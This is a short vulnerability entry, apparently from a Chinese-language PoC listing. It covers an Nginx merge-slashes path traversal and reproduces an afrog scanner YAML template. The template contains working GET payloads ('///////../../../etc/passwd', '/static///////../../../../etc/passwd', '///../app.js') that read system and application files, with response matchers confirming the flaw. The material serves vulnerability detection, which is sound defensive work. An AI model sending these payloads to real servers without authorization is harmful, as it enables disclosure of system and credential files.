nginx-merge-slashes-path-traversal: Nginx Merge Slashes Path Traversal

日期: 2025-09-01 | 影响软件: Nginx | POC: 已公开

漏洞描述

A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.

PoC代码[已公开]

id: nginx-merge-slashes-path-traversal

info:
  name: Nginx Merge Slashes Path Traversal
  author: dhiyaneshDk
  severity: medium
  description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
    - https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d

rules:
  r0:
    request:
      method: GET
      path: ///////../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /static///////../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r2:
    request:
      method: GET
      path: ///../app.js
    expression: response.status == 200 && response.body.bcontains(b'app.listen')
expression: r0() || r1() || r2()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/nginx-merge-slashes-path-traversal.yaml

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